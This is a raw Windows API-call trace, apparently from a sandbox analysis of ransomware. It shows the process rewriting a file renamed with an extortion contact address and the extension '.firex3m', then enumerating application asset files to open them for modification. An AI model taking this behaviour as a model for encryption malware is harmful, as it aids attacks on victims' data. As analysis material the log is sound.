ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5040 [0236.820] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0236.820] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0236.820] GetProcessHeap () returned 0x630000 [0236.820] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x665580 [0236.820] GetProcessHeap () returned 0x630000 [0236.820] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x6663f0 [0236.820] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.820] ReadFile (in: hFile=0x6e4, lpBuffer=0x665580, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x665580*, lpNumberOfBytesRead=0x313ff0c*=0x220, lpOverlapped=0x0) returned 1 [0236.824] GetProcessHeap () returned 0x630000 [0236.824] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0236.824] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.824] WriteFile (in: hFile=0x6e4, lpBuffer=0x6663f0*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6663f0*, lpNumberOfBytesWritten=0x313ff0c*=0x220, lpOverlapped=0x0) returned 1 [0236.824] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.824] WriteFile (in: hFile=0x6e4, lpBuffer=0x66660f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66660f*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.824] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.824] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.824] CloseHandle (hObject=0x6e4) returned 1 [0236.824] GetProcessHeap () returned 0x630000 [0236.824] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6663f0 | out: hHeap=0x630000) returned 1 [0236.824] GetProcessHeap () returned 0x630000 [0236.824] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665580 | out: hHeap=0x630000) returned 1 [0236.824] GetProcessHeap () returned 0x630000 [0236.824] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0236.825] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.825] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x531a40fa, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x313fd20, dwReserved1=0x665580, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5340 [0236.825] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0236.825] Sleep (dwMilliseconds=0x1) [0239.094] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-100_contrast-white.png", len=0x7c | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-100_contrast-white.png") returned 1 [0239.094] GetProcessHeap () returned 0x630000 [0239.094] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5154) returned 0x6fe3bb0 [0239.094] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterwidetile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.094] Sleep (dwMilliseconds=0x1) [0241.096] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\paperbag.jpg", len=0x73 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\paperbag.jpg") returned 1 [0241.096] GetProcessHeap () returned 0x630000 [0241.096] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53e0) returned 0x6fe3bb0 [0241.096] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\paperbag.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\paperbag.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.098] Sleep (dwMilliseconds=0x1) [0243.125] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-24.png", len=0x7f | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-24.png") returned 1 [0243.125] GetProcessHeap () returned 0x630000 [0243.125] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53b0) returned 0x6fe3bb0 [0243.125] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.127] Sleep (dwMilliseconds=0x1) [0243.130] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-16.png", len=0x7f | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-16.png") returned 1 [0243.130] GetProcessHeap () returned 0x630000 [0243.130] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53a8) returned 0x6fe3bb0 [0243.130] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.134] Sleep (dwMilliseconds=0x1) [0243.156] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\logo.png", len=0x5f | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\logo.png") returned 1 [0243.156] GetProcessHeap () returned 0x630000 [0243.156] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5354) returned 0x6fe3bb0 [0243.156] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\logo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.160] Sleep (dwMilliseconds=0x1) [0243.183] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Selected_Hollow.png", len=0x7c | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Selected_Hollow.png") returned 1 [0243.183] GetProcessHeap () returned 0x630000 [0243.183] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52e8) returned 0x6fe3bb0 [0243.183] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Selected_Hollow.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\density_selected_hollow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.184] Sleep (dwMilliseconds=0x1) [0243.198] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-48_altform-unplated.png", len=0xa8 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-48_altform-unplated.png") returned 1 [0243.198] GetProcessHeap () returned 0x630000 [0243.198] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52c0) returned 0x6fe3bb0 [0243.198] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-48_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\square44x44logo.targetsize-48_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.198] Sleep (dwMilliseconds=0x1) [0243.225] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-48.png", len=0x97 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-48.png") returned 1 [0243.225] GetProcessHeap () returned 0x630000 [0243.225] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5270) returned 0x6fe3bb0 [0243.225] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\square44x44logo.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.227] Sleep (dwMilliseconds=0x1) [0243.253] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\Scenario1.png", len=0x6e | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\Scenario1.png") returned 1 [0243.253] GetProcessHeap () returned 0x630000 [0243.253] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x520c) returned 0x6fe3bb0 [0243.253] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\Scenario1.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\herohelp\\scenario1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.253] Sleep (dwMilliseconds=0x1) [0243.289] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Multiply.png", len=0x72 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Multiply.png") returned 1 [0243.289] GetProcessHeap () returned 0x630000 [0243.289] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51ac) returned 0x6fe3bb0 [0243.289] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Multiply.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\multiply.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.295] Sleep (dwMilliseconds=0x1) [0243.303] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Donut_icon.png", len=0x74 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Donut_icon.png") returned 1 [0243.303] GetProcessHeap () returned 0x630000 [0243.303] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5188) returned 0x6fe3bb0 [0243.303] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Donut_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\donut_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.316] Sleep (dwMilliseconds=0x1) [0243.342] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-150_contrast-white.png", len=0x7d | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-150_contrast-white.png") returned 1 [0243.342] GetProcessHeap () returned 0x630000 [0243.342] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x510c) returned 0x6fe3bb0 [0243.342] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-150_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersmalltile.scale-150_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.342] Sleep (dwMilliseconds=0x1) [0243.349] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-100.png", len=0x6e | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-100.png") returned 1 [0243.349] GetProcessHeap () returned 0x630000 [0243.349] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50ec) returned 0x6fe3bb0 [0243.349] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersmalltile.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.349] Sleep (dwMilliseconds=0x1) [0243.367] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-150_contrast-black.png", len=0x81 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-150_contrast-black.png") returned 1 [0243.367] GetProcessHeap () returned 0x630000 [0243.367] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5090) returned 0x6fe3bb0 [0243.368] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-150_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlistsmalltile.scale-150_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.368] Sleep (dwMilliseconds=0x1) [0243.394] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-200_contrast-white.png", len=0x7d | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-200_contrast-white.png") returned 1 [0243.394] GetProcessHeap () returned 0x630000 [0243.394] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5064) returned 0x6fe3bb0 [0243.394] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlargetile.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.395] Sleep (dwMilliseconds=0x1) [0243.416] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-60_contrast-black.png", len=0x7f | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-60_contrast-black.png") returned 1 [0243.416] GetProcessHeap () returned 0x630000 [0243.416] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ff0) returned 0x6fe3bb0 [0243.416] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-60_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-60_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.416] Sleep (dwMilliseconds=0x1) [0243.425] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-60_altform-unplated.png", len=0x81 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-60_altform-unplated.png") returned 1 [0243.425] GetProcessHeap () returned 0x630000 [0243.425] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fec) returned 0x6fe3bb0 [0243.426] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-60_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-60_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.426] Sleep (dwMilliseconds=0x1) [0243.449] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-24.png", len=0x70 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-24.png") returned 1 [0243.449] GetProcessHeap () returned 0x630000 [0243.449] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f78) returned 0x6fe3bb0 [0243.449] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.449] Sleep (dwMilliseconds=0x1) [0243.500] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-20_contrast-white.png", len=0x7f | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-20_contrast-white.png") returned 1 [0243.500] GetProcessHeap () returned 0x630000 [0243.500] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f74) returned 0x6fe3bb0 [0243.500] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-20_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-20_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.501] Sleep (dwMilliseconds=0x1) [0243.509] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-125_contrast-black.png", len=0x7b | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-125_contrast-black.png") returned 1 [0243.509] GetProcessHeap () returned 0x630000 [0243.509] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f2c) returned 0x6fe3bb0 [0243.509] CreateFileW (lpFileName="C:\\Program 